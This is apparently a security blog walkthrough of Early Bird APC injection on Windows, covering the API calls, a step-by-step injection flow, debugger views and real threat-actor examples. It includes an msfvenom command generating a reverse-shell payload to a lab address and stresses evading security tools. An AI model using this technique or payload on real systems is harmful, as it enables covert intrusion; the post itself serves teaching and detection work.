Early Bird APC Injection - T1055.004

In this blog, I will explain what early bird injection technique is and how it works leading to remote code execution.

Summary

Early Bird APC Injection(MITRE T1055.004) is performed by injecting malicious shellcode inside Asynchronous Procedure Calls(APC) which is a function that executes in a context of a particular thread.

All the credits to @NULL, @Mr.Dox and @MaldevAcademy for the teaching me this concept in a simplistic way.

Here is code repository - https://github.com/Faran-17/EarlyBird-APC-Injection

Asynchronous Procedure Calls

As mentioned before, An asynchronous procedure call (APC) is a function that executes asynchronously in the context of a particular thread. When an APC is queued to a thread, the system issues a software interrupt. The next time the thread is scheduled, it will run the APC function. An APC generated by the system is called a kernel-mode APC. An APC generated by an application is called a user-mode APC. A thread must be in an alertable state to run a user-mode APC.

Each thread has it's own APC queue. An application queues APC via the Win API QueueUserAPC.

DWORD QueueUserAPC(
  [in] PAPCFUNC  pfnAPC,
  [in] HANDLE    hThread,
  [in] ULONG_PTR dwData
);

We will go in details about this API later in the blog.

APC Injection

APC Injection is when the shellcode is queued inside the APC and it waits for the main() thread to start execution where it will run the malicious shellcode.

Early Bird APC Injection

Early Bird APC Injection technique similar to APC Injection creates a remote process and queue the shellcode inside APC and executes the shellcode .

Here is the overview.

  1. Create a suspended process by using the CREATE_SUSPENDED flag.

  2. Write the payload to the address space of the new target process.

  3. Get the suspended thread's handle from CreateProcess along with the payload's base address and pass them to QueueUserAPC.

  4. Resume the thread using the ResumeThread WinAPI to execute the payload.

With the shellcode exiting after the execution the main() thread of the remote process will not be executing leading to process not being created in the first place which is stealthy in nature.

Also the QueueUserAPC is called by regular process in windows environment because it is a legitimate API. Making it perfect to evade security systems.

Threat Actors And Malwares Example

Here are the examples of the real world exploitation by the APT groups and malwares.

  1. Iranian APT33 using Early Bird APC Injection to deploy TURNEDUP malware - https://threatpost.com/new-early-bird-code-injection-technique-helps-apt33-evade-detection/131147/

  2. Variant of infamous bank stealor Carberp abusing to target financial institutes - https://attack.mitre.org/software/S0484/

  3. Syssphinx AKA FIN8 (MITREID - G0061) uses APC injection via Sardonic backdoor to deploy Noberus ransomware - https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/syssphinx-fin8-backdoor

Deeper Analysis.

Now moving further to the technical details of the technique.

Below the visual representation of the Early Bird APC Injection technique.

For better understanding, I will be explaining the each code and APIs inside debuggers like cutter and x64Dbg which will help in understanding with clear visualization. It is important to keep on referring the diagram above to clearly visualize what steps are we looking into.

CreateProcess - Debug State

After the main() function is called. The malware will call a function name as CreateDebuggedProcess which is a BOOLEAN function that creates a remote process in debugged state.

Inside the function, let's understand the parameter it takes

In figure 2.2, it takes -

  • lpProcessName - The name of the process to create.

  • dwProcessId - A pointer to a DWORD which will receive the newly created process's PID.

  • hProcess - Pointer to a HANDLE that will receive the newly created process's handle.

  • hThread - Pointer to a HANDLE that will receive the newly created process's thread.

Looking back at figure 2.1, we can see that the lpProcessName parameter is called with a variable TARGET_PROCESS which is defined on line 10 of figure 2.3

It means that the function will create a process called Runtimebroker.exe which is legitimate process inside Windows environment that serves as an intermediary between Windows runtime apps and the core Windows operating system. It plays a crucial role in the security and isolation of these apps, as well as in handling certain system processes. Some of the feature include - enhancing the security and isolation of Windows runtime apps, responsible for managing and enforcing app permissions, assists in managing the lifecycle of Windows runtime apps and much more.

Now looking inside the CreateDebuggedProcess function.

The RtlSecureZeroMemory basically clear the structures STARTUPINFO and PROCESS_INFORMATION.

In figure 2.3, the API GetEnvironmentVariableA gets the environment path %WINDIR%(C:\Windows) for the target process to be created.

DWORD GetEnvironmentVariableA(
  [in, optional]  LPCSTR lpName,
  [out, optional] LPSTR  lpBuffer,
  [in]            DWORD  nSize
);

Here is the API call inside Cutter -

And inside x64Dbg -

Now after getting the path of the process to be created i.e Runtimebroker.exe, we will use the CreateProcessA API to create the process.

Here is the structure of the API.

BOOL CreateProcessA(
  [in, optional]      LPCSTR                lpApplicationName,
  [in, out, optional] LPSTR                 lpCommandLine,
  [in, optional]      LPSECURITY_ATTRIBUTES lpProcessAttributes,
  [in, optional]      LPSECURITY_ATTRIBUTES lpThreadAttributes,
  [in]                BOOL                  bInheritHandles,
  [in]                DWORD                 dwCreationFlags,
  [in, optional]      LPVOID                lpEnvironment,
  [in, optional]      LPCSTR                lpCurrentDirectory,
  [in]                LPSTARTUPINFOA        lpStartupInfo,
  [out]               LPPROCESS_INFORMATION lpProcessInformation
);

The API will create the process "Runtimebroker.exe" in a debugged state, parameter of the APIs are -

  • lpApplicationName - Set to NULL.

  • lpCommandLine - Set to lpPath, which is the full path to the runtimebroker.exe we got from previous section.

  • The lpProcessAttributes and lpThreadAttributes are set to NULL.

  • The bInheritHandles is set to FLASE means the handles of the process will not be inherited.

  • The dwCreationFlags is important here, this parameters sets the priority class and creation flags of the process i.e how the process will be created. Here it is set to DEBUG_PROCESS means that the new process will be created in debug mode while it's local calling process being it's debugger, When a process is created as a debugged process, a breakpoint will be placed in its entry point. This pauses the process and waits for the debugger (i.e. the malware) to resume execution. This will halt the process creation while the payload is being injected. You can take a look at the creation flags here.

  • The lpEnvironment and lpCurrentDirectory are set to NULL.

  • The last two parameters uses their respective structure which are already declared in the code and their pointers to their struct is called here in the API.

Taking a look at the APIs in Cutter and x64Dbg

Cutter -

You can see that the dwCreationFlag is set to 1 which the value of the 0x00000001i.e 0x00000001.

Same can be seen inside x64Dbg.

Shellcode Injection

Moving forward in the main() section.

In the figure 3.1, the function InjectShellcodeToRemoteProcess is called which perform remote shellcode injection inside the target process. It takes four parameters.

  • hProcess - Handle of the target process.

  • Payload - The payload to be injected.

  • sizeof(Payload) - The size of the payload.

  • &pAddress - Pointer to the address where the shellcode will be injected.

The Payload is a msfvenom generated shellcode.

msfvenom -p windows/x64/shell_reverse_tcp lhost=10.0.2.5 lport=443 EXITFUNC=thread -f c

Navigating inside the function.

In figure 3.3, we can see that the payload is injected using the three APIs that is used for shellcode injection. I've explained this in my other blog about these API's so I won't got into depth, you can read about them here

pageRemote Process Shellcode Injection - T1055

Moving on.

QueueUserAPC API

The QueueUserAPC will call the APC.

DWORD QueueUserAPC(
  [in] PAPCFUNC  pfnAPC,
  [in] HANDLE    hThread,
  [in] ULONG_PTR dwData
);

Inside x64Dbg

Now the API will execute the shellcode and exit before the main() thread of the target process even begins the execution.

As we created the target process in 'Debug' mode, we need to call DebugActiveProcessStop API to detach to resume the execution. In figure 4.2, the API is called right after the QueueUserAPC

BOOL DebugActiveProcessStop(
  [in] DWORD dwProcessId
);

Execution

Here is screenshot of execution of the attack.

Checking back, the attacker will get the connection back.

Here is the video representation of the attack.

MP4 video

Now inside x64Dbg, I've placed the breakpoints on all important APIs for ease of understanding.

MP4 video

Thank you for reading.

Reference

Last updated